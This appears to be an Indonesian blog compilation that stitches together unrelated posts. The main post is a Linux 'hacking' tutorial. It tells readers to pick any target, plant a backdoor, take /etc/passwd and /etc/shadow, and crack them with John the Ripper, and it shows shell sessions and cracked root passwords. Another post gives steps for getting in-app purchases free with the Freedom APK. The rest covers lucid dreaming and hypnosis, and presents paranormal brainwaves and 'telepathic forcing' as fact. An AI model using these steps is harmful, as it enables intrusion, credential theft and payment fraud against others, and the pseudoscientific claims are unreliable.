Hacking Sistem Operasi Linux

                              

                    Linux sesungguhnya sebuah produk hacking,sebab pada awalnya Linux Torvalds hanya mengoprek dari sistem operasi atau Kernel pada saat belajar bahasa pemograman bahasa C dan mempelajari buku Operating Systems: Design and Implementation karya Andrew S Tanenbaum.Dalam buku itu disertakan MINIX2, hingga kemudian menjadi oprekan bagi para hacker dunia.

A. Tool Hacking Linux

Berikut ini adalah software-software yang paling sering digunakan untuk melakukan hacking terhadap Kernel Linux, yaitu:

1. John the Ripper

    

John the Ripper merupakan sebuah program cracking password yang awalnya dikembangkan untuk sistem operasi UNIX. Tool ini merupakan password testing dan breaking program yang populer karena menggabungkan sejumlah kombinasi password kedalam satu paket dan mempunyai sistem Autodetects Hash Type dan Customizable Cracker.

• Cara memakai John the Ripper

Pertama-tama carilah sebuah target yang kalian suka lalu terserah cara kalian untuk memasang backdoor.

Carilah file “passwd” dan “shadow”,biasanya letak passwd dan shadow ada di /etc/passwd dan /etc/shadow lalu terserah kalian mau diupload atau dikerjakan dalam shell file “passwd” dan “shadow” untuk dicrack.

sekarang go to the point :
[root@D-and~ tmp]# wget

http://www.openwall.com/john/f/john-1.7.2.tar.gz

[root@D-and~ tmp]# ls
. radsess.13217 radsess.15352 radsess.26504
.. radsess.13221 radsess.15377 radsess.26508
.bash_history radsess.13252 radsess.15505 radsess.26516
.bash_logout radsess.13257 radsess.15509 radsess.26520
.bash_profile radsess.13261 radsess.15510 radsess.29908
.bashrc radsess.13262 radsess.15517 radsess.29909
.emacs radsess.13269 radsess.15521 radsess.29935
.gtkrc radsess.13273 radsess.15525 radsess.29940
.kde radsess.13277 radsess.15627 radsess.29946
.screenrc radsess.13278 radsess.15631 radsess.30573
.webmin radsess.13287 radsess.15632 radsess.30577
john-1.72.tar.gz radsess.13291 radsess.15661 radsess.30578
makewhatiswP9Kbd radsess.13292 radsess.15665 radsess.30585
[root@D-and~ tmp]# tar -zxvf john-1.72.tar.gz
john-1.72/src/AFS_fmt.c
john-1.72/src/BF_fmt.c
john-1.72/src/BF_std.c
john-1.72/src/BSDI_fmt.c
john-1.72/src/DES_bs.c
…
…
…
john-1.72/doc/OPTIONS
john-1.72/doc/README
john-1.72/doc/RULES
john-1.72/README
udah selesai dicompile kita cek, folder paman john kita yang tercinta

[root@D-and~ tmp]# ls
[root@D-and~ tmp]# ls
. radsess.13213 radsess.15348 radsess.26500
.. radsess.13217 radsess.15352 radsess.26504
.bash_history radsess.13221 radsess.15377 radsess.26508
.bash_logout radsess.13252 radsess.15505 radsess.26516
.bash_profile radsess.13257 radsess.15509 radsess.26520
.bashrc radsess.13261 radsess.15510 radsess.29908
.emacs radsess.13262 radsess.15517 radsess.29909
.gtkrc radsess.13269 radsess.15521 radsess.29935
.kde radsess.13273 radsess.15525 radsess.29940
.screenrc radsess.13277 radsess.15627 radsess.29946
.webmin radsess.13278 radsess.15631 radsess.30573
john-1.72 radsess.13287 radsess.15632 radsess.30577
john-1.72.tar.gz radsess.13291 radsess.15661 radsess.30578
makewhatiswP9Kbd radsess.13292 radsess.15665 radsess.30585

[root@D-and~ tmp]# cd john-1.72
[root@D-and~ john-1.72]

setelah kita masuk…kita langsung cari folder src
[root@D-and~ john-1.72]# ls
. .. README doc run src
[root@D-and~ john-1.72]# cd src
[root@D-and~ src]# ls
. alpha.h formats.h mips32.h single.c
.. batch.c getopt.c mips64.h single.h
AFS_fmt.c batch.h getopt.h misc.c sparc.S
………
………
Makefile detect.c math.c rules.c x86-mmx.h
Makefile.dep external.c math.h rules.h x86.S
alpha-4k.h external.h memory.c signals.c
alpha.S formats.c memory.h signals.h

kita compile dulu, dan liat jenis mesin yang ada

[root@D-and~ src]# make
To build John the Ripper, type:
make SYSTEM
where SYSTEM can be one of the following:
linux-x86-any-elf Linux, x86, ELF binaries
linux-x86-mmx-elf Linux, x86 with MMX, ELF binaries
….
….
win32-cygwin-x86-mmx Win32, Cygwin, x86 with MMX
win32-cygwin-x86-k6 Win32, Cygwin, AMD K6
generic Any other UNIX system with gcc

[root@D-and~ src]# make generic
[root@D-and~ src]# rm -f arch.h
[root@D-and~ src]# gcc -c -Wall -O2 -fomit-frame-pointer detect.c
[root@D-and~ src]# gcc -s detect.o -o detect
[root@D-and~ src]# ./best.sh “make” “DES_fmt.o DES_std.o” “MD5_std.o” “BF_std.o”
Compiling: DES benchmark (code version #1)
make[1]: Entering directory `/tmp/john-1.72/src’
[root@D-and~ src]# gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops DES_bs.c
[root@D-and~ src]# sed “s/unsigned long/ARCH_WORD/” nonstd.c > DES_bs_s.c
…
…
sampai muncul kata /run/unshadow
sampai muncul kata /run/unique
sampai muncul kata /run/unafs

Sehabis itu kita menuju ke folder run di direktory john.
[root@D-and~ src]# cd ..
[root@D-and~ john-1.72]# cd run
[root@D-and~ run]# ls
. digits.chr lanman.chr unshadow
.. john mailer unafs
alpha.chr john.pot passwd.1st unique

kaya gitu lah kira2 munculnya )

setelah itu kita cari letak passwd dan shadow
[root@D-and~ run]# whereis passwd
passwd: /usr/bin/passwd /etc/passwd /etc/passwd.OLD
/usr/share/man/man1/passwd.1.gz
/usr/share/man/man5/passwd.5.gz

Hmm.. ada tuh /etc/passwd,
kemudian gunakan cara yang sama untuk mencari file shadow ~ penulis telah mencoba beberapa shell dan memang letak passwd dan shadow di /etc/passwd dan /etc/shadow. File passwd emang bisa diread oleh siapa saja, sedang file shadow tidak bisa..diperlukan access root untuk mengambil 2 data tersebut, sebab file passwd dan shadow telah diencrypt.

Nah sekang kita masuk ke tahap untuk mendecrypt password, alias “CRACK PASSWORD”
[root@D-and~ run]# ./unshadow /etc/passwd /etc/shadow > passwd.1

maksudnya file passwd dan shadow di decrypt menjadi 1 file bernama passwd.1

[root@D-and~ run]# cat passwd.1
root:$1$??A5?wMG$MtD3gClDSs2//g6b.Ri/a/:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:/sbin/nologin
daemon:*:2:2:daemon:/sbin:/sbin/nologin
adm:*:3:4:adm:/var/adm:/sbin/nologin
lp:*:4:7:lp:/var/spool/lpd:/sbin/nologin
….
johnl:$1$fWkgxJYA$7DP..k060XiXpfLlQThFd/:504:500::/home/johnl:/bin/bash
chrisl:$1$AaSlFOUP$yoCJ2ZvqvDjwxLl0SkTAQ.:505:500::/home/chrisl:/bin/bash
turner:$1$p.lFHE.e$12uUTK3WMSRa.4Hgm15Ti/:506:506::/home/turner:/bin/bash
williams:$1$0egmDfIs$Bqes1nBH9vYBf6yXAUKFQ0:507:500::/home/williams:/bin/bash
Setelah itu kita jalankan berbagai macam perintah Paman John contohnya :

Keterangan meng-Crack Password yang sudah di decrypt :

1. menggunakan -i:alpha
[root@D-and~ run]# ./john -i:alpha passwd.1 &
maksudnya kita crack passwd.1 dan disimpan dibackground, jadi tinggalin aja selama paman john mengcrack password untuk kita, kita bisa ngeroot ntar dia muncul kaya gini kalo berhasil
[root@D-and~ run]# ./john -i:alpha passwd.1 &
Loaded 2 passwords with 2 different salts (Standard DES [24/32 128K])
watson (root)
johnl (summer)

2. menggunakan -single <== kita menggunakan paman john secara powerfull emang agak lambat tapi dia secara teliti mengecek passwordnya )
[root@D-and~ run]# /john -single passwd.2

3. kita ingin mengecrack password root / user saja

[root@D-and~ run]# ./john -i:alpha -user:0 passwd.1

atau

[root@D-and~ run]# ./john -i:alpha -user:500 passwd.1

untuk mengecek hasil password yang kita crack, dapat menggunakan

[root@D-and~ run]# ./john -show passwd.1
[root@D-and~ run]# ./john -show passwd.3
root:watson:0:0:root:/root:/bin/bash
coda:tools:500:500:CODA Manager:/home/coda:/bin/bash
adam:myrtle:501:500::/home/adam:/bin/bash
herschel:chester:502:500::/home/herschel:/bin/bash
johnl:summer:504:500::/home/johnl:/bin/bash
chrisl:turtle:505:500::/home/chrisl:/bin/bash
turner:account:506:506::/home/turner:/bin/bash
williams:ronald:507:500::/home/williams:/bin/bash

8 passwords cracked, 1 left
artinya user root memiliki password watson
user coda memiliki password tools
user adam memiliki password myrtle

2. NMap

Nmap merupakan sebuah tool scanner port jaringan komputer. Hacking menggunakan Nmap akan menampilkan port-port sistem komputer yang dianggap Open dan Filtered.

Terdapat 3 macam serangan yang digunakan dalam hacking NMap, yaitu:

• Syn Scan adalah tipe serangan akan menampilkan hasil serangan lebih cepat, kelemahannya hasil yang ditampilkan tidak spesifik.
• Fin Scan metode serangan yang akurat dibanding Syn Scan. Fin Scan menampilkan jenis paket terfilter dan kelemahan pada firewall.
• Ack Scan adalah port yang terfitler dan tidak akan ditampilkan. Tipe serangan ini adalah tipe yang paling spesifik  dan menampilkan hasil yang sangat akurat namun sedikit rumit.

Selain itu,masih ada beberapa teknik-teknik scan pada NMap,yaitu :

• Mengecek Operating system dengan Nmap

          Code : nmap -0 127.0.0.1

• Ping Scan digunakan untuk mengirimkan icmp echo request ke target.

          Code : nmap -sP 127.0.0.1

• UDP Scan digunakan untuk scanning port udp di target.

          Code : nmap -sU 127.0.0.1

3. TCP Dump

TCP Dump adalah tool Linux digunakan untuk memantau aktifitas paket data yang terkirim pada jaringan komputer. Hal ini memungkinkan user untuk mencegat dan menampilkan TCP/IP,serta paket lainnya yang dikirim atau diterima melalui jaringan komputer yang terpasang.

4. Snort

Snort salah satu software yang digunakan untuk memproteksi network dari serangan hacker.Kemampuan Snort adalah mampu mendeteksi instrusi pada sistem, mampu menganalisa real time traffic dan logging ip, mampu menganalisa port dan mendeteksi segala macam serangan dari luar,seperti: buffer overflows,stealth port scans,CGI attacks,SMB probes, dan OS fingerprinting.

5. Wireshark

Wireshark/Ethereal adalah tool untuk menganalisa protoko jaringan.Fungsinya sebagai sniffer dan memantau lalu lintas internet.Wireshark dapat berjalan pada Windows,MAC OS X, dan Linux.Contoh apabila ingin menangkap paket wireless, Anda harus menggunakan Operating system Linux agar wireless card anda dapat di set untuk menangkap semua paket yanng sedang beredar dan didengar oleh wireless card.

• Cara Menggunakan WireShark, yaitu:

- Jalankan program Wireshark

- Pastikan bahwa isi pada Interface-nya adalah Ethernet Card anda yang menuju ke jaringan,bila bukan gantilah dan pastikan pula bahwa Capture Packets in Promiscuous Mode ON.

-Klik tombol Start,lalu klik tombol Stop setelah Anda merasa yakin bahwa ada password yang masuk selama menekan tombol Start.

- Bisa dilihat semua jenis packet yang masuk dan keluar di jaringan.

- Untuk menganlisis datanya,klik kanan pada data yang ingin di analisis,lalu klik Follow TCP Stream.

6. Hping

Hping merupakan tool serba guna. Tool ini dapat digunakan untuk menguji kemampuan firewall,mencari port yang terbuka,menguji keamanan jaringan dengan menggunakan berbagai jenis protokol, mendapatkan informasi sistem operasi,dan mengevaluasi protokol TCP/IP.

7. Nessus

Nessus adalah program yang berfungsi sebagai security scanner yang akan mengaudit jaringan yang dituju dan menentukan kelemahan-kelemahan dari jaringan yang dituju.

Fitur yang dimiliki Nessus diantaranya :

• Plug-in Architecture

Dengan fitur ini dapat dengan mudah menambah tes yang diinginkan tanpa harus membaca kode dari Nessus Engine.

• NASL (Nessus Attack Scripting Languange)

NASL adalah bahasa yang didesain untuk menulis program security tes dengan mudah dan cepat

• Client-sever Architecture

Nessus security scanner terdiri dari dua bagian, yaitu : server yang berfungsi sebagai pelaku serangan dan sebuah client yang berfungsi sebagai frontend. 

• Smart Service Recognation 

Nessus tidak mempercayai host yang dituju menggunakan port standar yang ditentukan oleh IANA. Nessus dapat mengenali sebuah web server yang berjalan pada port yang bukan merupakan port standar.

• Multiple Services

Bila ada dua buah web server pada host yang dituju maka Nessus akan mengetes kedua web server tersebut.

• Complete Reports

Nessus tidak hanya memberi tahu kelemahan dari jaringan yang dituju,tetapi juga memberikan cara yang dapat digunakan untuk mencegah the bad guy mengeksploitasi kelemahan dari jaringan dan juga memberikan level resiko dari setiap masalah yang ditemukan.

• Exportable Reports

Unix Client dapat mengekspor laporan sebagai Ascii text,HTML,LaTeX,dan lain-lainnya.

 

Pengendali Mimpi

                                                   

                

               Semua orang bisa mengendalikan mimpi dan itu pernyataan gue dan dari sebagian orang yang bisa melakukannya dan ga semua orang bisa mengendalikan mimpi itu dengan mudah.Awal kisah gue ga tau apa-apa tentang mimpi dan ketika tidur ya... biasa aja. Dan suatu ketika gue mengalami yang disebut mimpi kata orang bilang. Gue mimpi waktu itu bisa jadi Kamen Rider! dan ga kebayang di otak gue,gue jadi Kamen Rider Black RX! haha.. sungguh kece mimpi gue.Gue bisa berubah sesuka gue di mimpi. Dan pada suatu ketika di mimpi gue, gue melihat perempuan yang gue suka di Sekolah. Sebut saja namanya Citra.Dia waktu itu di mimpi gue lagi ngobrol sama temennya.Gue waktu itu sok kenal aja sama temennya,padahal sih mau deketin doi doang.Nah pas gue melihat si doi,tiba-tiba dia udah di bawa sama sekumpulan para monster. Nah saat itu gue langsung aja nampolin monsternya biar jatuh dan gue bisa ngambil tuh si doi dan gue lindungin.Nah abis itu gue langsung berubah jadi Kamen Rider RX buat ngalahin tuh monster.Di awali dengan bismilah dan gue akhiri dengan Rider Kick dan membaca Alhamdulillah gue bisa menuntaskan monster itu.Dan si doi berterima kasih ke gue karena gue udah nyelamatin dia dari monster.Dan saat itu juga pipi gue di cium sama si doi.Gue di kala itu mimpi langsung terbang ke 7 langit gara-gara ciumannya itu.Nah tiba-tiba semuanya buyar dan gue bangun dari bunga tidur tersebut.

            

           Nah Disitu gue langsung berpikiran untuk bermimpi yang serupa.Dan pada  malam harinya selesai berdoa,gue mencoba mengingat-ingat mimpi yang kemarin malam agar bisa bermimpi lagi di malam itu.Gue tertidur pulas saat itu dan tidak berhasil.Akhirnya gue cari cara di internet dan itu membuahkan hasil.Jadi orang yang mengendalikan mimpinya sendiri itu disebut Lucid Dream.Nah cara Lucid dream itu susah-susah gampang menurut gue dan ini caranya :

1.)  Bisa membedakan Dunia nyata ataupun Dunia mimpi


Misalkan benda di kehidupan asli itu mengikuti gravitasi bumi terdiam dan di alam mimpi itu biasanya melawan gravitasi ataupun benda itu hidup padahal di Dunia nyata benda itu mati.  Dan kalo lu  menemukan hal yang seperti itu maka lu sudah ada di dalam mimpi.


 2.)  Penggambaran dan Sugestivitas

Setelah berdoa ingin tidur, lu bayangin tuh gambaran mimpinya dan lu mensugestikan diri lu dalam hati akan mimpi yang lu gambarin setelah tertidur.


3.) Bangun di tengah-tengah tidur 

Nah waktu yang bagus untuk tahap ini adalah menjelang pagi sekitar jam 1-3 malam dan setelah bangun lu minum air putih buat membasahi tenggorokan yang kering dan mengingat mimpi sebelumnya setelah itu lanjutin tidurnya.Dan alasan gue memilih waktunya sudah diterangkan.

4.)  Catat mimpi

Pada tahap ini optional,karena ini kita membuat catatan mimpi sendiri.Ini juga berguna bagi ingatan yang kurang untuk mengingat mimpinya dan juga untuk koleksi mimpi dan siapa tahu bisa di bukukan.


5.) Tidur Sadar

Maksudnya adalah menjaga pikiran lu agar tetap konsentrasi tapi santai,agar lu masih bisa tetap tidur,hal yang bisa lu lakuin di tahap ini agar bisa menjaga pikiran lu mungkin dengan berhitung dan lain sebagainya.


6.)  Sleep Paralysis

Di tahap ini mitos mengatakan di tindihin jin,melihat hantu,melihat bayangan menyeramkan dan sebagainya tetapi jangan takut ini merupakan tahap untuk memasuki memasuki mimpi itu sendiri. Sleep paralysis adalah sejenis halusinasi karena adanya malfungsi tidur pada Rapid Eye Movement (REM).Makanya kebanyakan orang gagal dalam tahap ini karena ketakutan.Sleep Paralysis Hanya berjalan beberapa detik dan paling lama hanya beberapa menit saja.



7.) Ruang Hampa

Di tahap ini lu memasuki gerbang dari mimpi itu dan semuanya berwarna hitam dan hampa,JANGAN TAKUT! karena kalo lu takut,lu akan mengagalkan tahap terakhir melakukan lucid dream dan otomatis lu gagal melakukan lucid dream dan jika lu berhasil melewati ini maka lu sudah memasuki mimpi lu sendiri.





                  Nah itu tadi yang caranya dan ternyata setelah gue mencari informasi tentang lucid dream ini ada juga tingkatan dan penjelasannya yaitu:

- Pemula = Terbang,berjalan di atas air, berenang dengan kecepatan tinggi dan lain sebagainya.

- Menengah = Menjadi karakter dalam cerita mimpi,mempunyai kekuatan super,bertemu si                                    doi,bertarung dengan monster

-Ahli = Berhubungan Seks,menemukan inspirasi yang bisa dibawa ke dunia nyata


Nah itu tadi tips dan trik yang gue temuin dan berjalan dengan baik tentunya di kehidupan gue tetapi jika melakukan dengan sangat fanatik bisa berbahaya juga bagi mental,contohnya ketika di dunia mimpi jatuh dari ketinggian 12 meter tetapi tidak mati maka si fanatik ini akan mencoba di dunia nyata dan itu bisa fatal dan membahayakan nyawa si fanatik tersebut.Dan bisa juga ketika orang kehilangan semangat hidup karena di dunia mimpi segala yang ia kehendaki terjadi dan di Dunia nyata tidak.Dan gue termasuk tingkat menengah dalam hal ini.

Oke Sekian dari gue mudah-mudahan berguna bagi lu dan maaf bila ada salah ketik dan kata yang tidak sopan.

Assalamualaikum.

Hack Google Payment

oke kali ini gue nemu nih cara Hack Google Payment :D , oke langsung aja ikuti tutor yg di bawah ya :

- Android Anda Harus Diroot Dulu
- Download Apk Freedom -_______- 
- Install Apk Freedom
- Buka App Freedomnya Terus Pilih Game Yang Mau Dicheat
- Buka Menu Shop Pada Game
- klik buy dan semuanya free :D 

Note : Disitu juga tertera aplikas/game yg bisa/tidak di hack google paymentnya 

Penjelasan Dalam Hypnosis

1.) Istilah Dalam Hypnosis

- Hypnosis
Seni Komunikasi verbal maupun nonverbal yg bertujuan membawa gelombang pikiran klien/seseorang menuju trance

- Hypnotist
Juru/Pelaku yg menggunakan Hypnosis

-Klien/Seorang
Orang yg menerima induksi menuju trance.

-Induksi
Serangkaian proses untuk membawa klien menuju trance

-Trance
Kondisi fisik dan pikiran klien saat terhypnosis

-Isolasi
Meminimalkan hubungan klien dari lingkungannya agar lebih terfokus pada proses hypnosis

-Rapport
Jalinan komunikasi yg terjalin antara hypnotist dengan klien selama proses hypnosis

-Deepening
Teknik memperdalam tingkat trance yg dialami klien

-Sugesti
Ide atau saran yg diberikan kepada klien saat mengalami trance

-Terminasi
Mengakhiri hypnosis dan mengembalikan klien/seseorang pada kesadaran normal

2.) Gelombang Otak

Otak Anda terdiri dari milyaran sel otak yang disebut neuron. Setiap neuron saling berkomunikasi (menjalin hubungan) dengan memancarkan gelombang listrik. Gelombang listrik yang dikeluarkan oleh neuron dalam otak inilah yang disebut "gelombang otak" atau brainwave. Jadi yang disebut gelombang otak adalah "arus listrik" yang dikeluarkan oleh otak. Apabila otak tidak lagi mengeluarkan gelombang otak, maka kita tahu bahwa otak tersebut sudah mati.

Gelombang otak bisa diukur dengan peralatan Electroencephalograph (EEG). Diketahui bahwa frekuensi gelombang otak yang dihasilkan oleh neuron bervariasi antara 0-30 Hz dan digolongkan menjadi gelombang delta, theta, alpha dan beta. Setiap gelombang punya karakteristik yang berbeda-beda serta menandakan kondisi mental seseorang.

Berikut ini adalah penjelasan singkat mengenai karakteristik empat jenis gelombang otak yang umumnya muncul pada setiap orang.

Gelombang Beta: Waspada, Konsentrasi.
Kondisi gelombang otak Beta (13-30 Hz) menjaga pikiran kita tetap tajam dan terfokus. Dalam kondisi Beta, otak Anda akan mudah melakukan analisis dan penyusunan informasi, membuat koneksi, dan menghasilkan solusi-solusi serta ide-ide baru. Beta sangat bermanfaat untuk produktivitas kerja, belajar untuk ujian, persiapan presentasi, atau aktivitas lain yang membutuhkan konsentrasi dan kewaspadaan tinggi.

Gelombang Alpha: Kreativitas, Relaksasi, Visualisasi
Gelombang otak Alpha (8-13 Hz) sangat kontras dibandingkan dengan kondisi Beta. Kondisi relaks mendorong aliran energi kreativitas dan perasaan segar, sehat. Kondisi gelombang otak Alpha ideal untuk perenungan, memecahkan masalah, dan visualisasi, bertindak sebagai gerbang kreativitas kita.

Gelombang Theta: Relaksasi mendalam, Meditasi, Peningkatan Memori
Lebih lambat dari Beta, kondisi gelombang otak Theta (4-8 Hz) muncul saat kita bermimpi pada tidur ringan. Atau juga sering dinamakan sebagai mengalami mimpi secara sadar. Frekuensi Theta ini dihubungkan dengan pelepasan stress dan pengingatan kembali memori yang telah lama. Kondisi “senjakala” (twilight) dapat digunakan untuk menuju meditasi yang lebih dalam, menghasilkan peningkatan kesehatan secara keseluruhan, kebutuhan kurang tidur, meningkatkan kreativitas dan pembelajaran.

Gelombang Delta: Penyembuhan, Tidur Sangat Nyenyak.
Kondisi Delta (0.5-4 Hz), saat gelombang otak semakin melambat, sering dihubungkan dengan kondisi tidur yang sangat dalam. Beberapa frekuensi dalam jangkauan Delta ini diiringi dengan pelepasan hormon pertumbuhan manusia (Human Growth Hormone), yang bermanfaat dalam penyembuhan. Kondisi Delta, jika dihasilkan dalam kondisi terjaga, akan menyediakan peluang untuk mengakses aktivitas bawah sadar, mendorong alirannya ke pikiran sadar. Kondisi Delta juga sering dihubungkan dengan manusia-manusia yang memiliki perasaan kuat terhadap empati dan intuisi.

Pandangan keliru yang selama ini ada dalam benak banyak orang adalah otak hanya menghasilkan satu jenis gelombang pada suatu saat. Saat kita aktif berpikir kita berada pada gelombang beta. Kalau kita rileks kita berada di alfa. Kalau sedang melamun, kita di theta. Dan, kalau tidur lelap kita berada di delta. Pandangan itu salah. Hasil penelitian menunjukkan bahwa pada suatu saat, pada umumnya, otak kita menghasilkan empat jenis gelombang  secara bersamaan, namun dengan kadar yang berbeda. Misalnya dalam kondisi tidur, otak kita lebih banyak memproduksi gelombang delta, tapi tetap memproduksi theta, alpha dan beta walaupun kadarnya sedikit.

Setiap orang punya pola gelombang otak yang unik dan selalu konsisten. Keunikan itu tampak pada komposisi jenis gelombang pada saat tertentu. Komposisi gelombang otak itu menentukan tingkat kesadaran seseorang. Meditasi adalah salah satu cara paling kuno untuk mengatur pola gelombang otak. Sedangkan bagi masyarakat modern yang sibuk, Terapi Gelombang Otak menjadi salah satu cara favorit untuk mengatur pola gelombang otak agar sesuai dengan kebutuhan.

Sebenarnya, selain 4 jenis gelombang yang kami sebutkan diatas (Delta, Theta, Alpha dan Beta) masih ada gelombang otak yang lebih tinggi yaitu Gamma dengan frekuensi 40-99 Hz, HyperGamma dengan frekuensi tepat 100 Hz dan gelombang Lambda dengan frekuensi tepat 200 Hz. Menurut Dr. Jeffrey. D. Thompson, dari Center for Acoustic Research, gelombang HyperGamma dan Lambda berhubungan dengan kemampuan supranatural, metafisika atau paranormal.

Sedangkan Gelombang Gamma terjadi ketika seseorang mengalami aktifitas mental yang sangat tinggi, misalnya sedang berada di arena pertandingan, perebutan kejuaraan, tampil dimuka umum, sangat panik, ketakutan, terburu-buru karena dikejar deadline pekerjaan atau keadaan lain yang sangat menegangkan bagi orang tersebut.
 

2.) Tahapan Hypnosis

ada 5 tahapan dalam hipnoterapi, dimana tahapan dalam hipnoterapi ini mempunyai fungsi dan tujuan yang berbeda-beda. Para hipnoterapis professional akan selalu mengacu pada tahapan-tahapan ini, karena tahapan inilah yang menjadi protocol pembantu kesuksesan dalam sesi hipnoterapi.

Tahapan pertama pada sesi hypnosis dikenal dengan Pre-Induction, tahapan ini bertujuan untuk melakukan interview kepada klien terapi. Biasanya tujuan dari interview ini untuk mendapatkan informasi tentang tujuan klien untuk terapi, harapan dari klien dari sesi terapi, identitas klien, hingga permasalahan yang sedang dihadapi klien untuk diselesaikan bersama. Pada tahapan ini pula, seorang terapis akan memberikan edukasi seputar hypnosis.

Tahapan yang kedua adalah Induction. Pada tahapan, ini klien akan di bimbing untuk memasuki kondisi hypnosis (relaks, tenang, santai dan damai). Di tahapan ini pula klien akan di kenalkan dengan kondisi hypnosis.

Setelah proses induksi (induction) selesai, klien akan dibimbing untuk memasuki kondisi hipnosis yang lebih dalam. Tahapan ini dikenal dengan Deepening. Tujuan dari tahapan ini agar pikiran bawah sadar klien menjadi jauh lebih aktif dan pikiran sadar klien di istirahatkan. Agar nantinya sugesti-sugesti positif yang diharapkan menjadi program perubahan pada diri klien dapat di terima dengan baik oleh pikiran bawah sadar. Proses deepening ini bermacam-macam, pada umumnya dalam bentuk hitungan mundur, bisa juga dengan menggunakan metode menuruni tangga. Tergantung pada kreatifitas hypnosis menggunakan metode deepening yang seperti apa.

Kemudian dilanjutkan pada tahapan Sugesti, tahapan dimana seorang hypnotist memberikan sugesti-sugesti yang ditujukan untuk menjadi program perubahan pada pikiran bawah sadar klien.

Terminasi adalah tahapan terakhir dari proses hypnosis. Tahapan ini bertujuan untuk membawa klien kembali pada kesadaran normalnya. Metode terminasi ini pada umumnya kebalikan dari Deepening. Bisa dengan hitungan naik ataupun menaiki tangga.

Tips Menghindari Kejahatan Hipnotis / Gendam (Menurut Polda Metro Jaya)

1. Percaya dan yakin sepenuhnya bahwa kejahatan hipnotis tidak akan mempan kepada orang yang menolaknya, karena seluruh proses hipnotis adalah proses self hypnosis (kita mensugesti diri sendiri) dimana rasa takut kita dimanfaatkan oleh penggendam.

2. Curigalah pada orang yang baru anda kenal dan berusaha mendekati anda, karena seluruh proses hipnotis merupakan teknik komunikasi yang sangat persuasif.

3. Waspadalah terhadap orang yang menepuk anda dan hindari dari percakapan yang mungkin terjadi. Ketika anda fokus pada ucapannya, pada saat itulah sugesti sedang dilontarkan. Segeralah pindah dari tempat itu dan alihkan perhatian anda ketempat lain.

4. Sibukkan pikiran anda dan jangan biarkan pikiran kosong pada saat anda sedang sendirian ditempat umum, karena pada saat pikiran kosong / bengong, bawah sadar terbuka sangat lebar dan mudah untuk tersugesti.

5. Waspadalah terhadap rasa mengantuk, mual, pusing, atau dada terasa sesak yang datang tiba-tiba secara tidak wajar, karena kemungkinan saat itu ada seseorang yang berusaha melakukan telepathic forcing kepada anda. Segera niatkan untuk membuang seluruh energi negatif tersebut kebumi, cukup dengan cara visualisasi dan berdoa menurut agama dan keyakinan anda.

6. Bila ada orang yang memiliki kebiasaan latah usahakan agar kalau bepergian ditemani oleh orang lain, karena latah adalah suatu kebiasaan membuka bawah sadar untuk mengikuti perintah. Usahakanlah untuk menghilangkan kebiasaan latah tersebut.

7. Hati-hati terhadap beberapa orang yang tiba-tiba mengerumuni anda tanpa suatu hal yang jelas dan pergilah ketempat yang ramai atau laporkan kepada petugas keamanan. Kadang penggendam melakukan hipnotis secara berkelompok, seolah-olah saling tidak mengenal.

8. Jika anda mulai merasa memasuki suatu kesadaran yang berbeda, segeralah perintahkan diri anda agar sadar dan normal kembali, dengan meniatkan, Saya sadar dan normal sepenuhnya!  Dan andapun akan sadar dan normal kembali.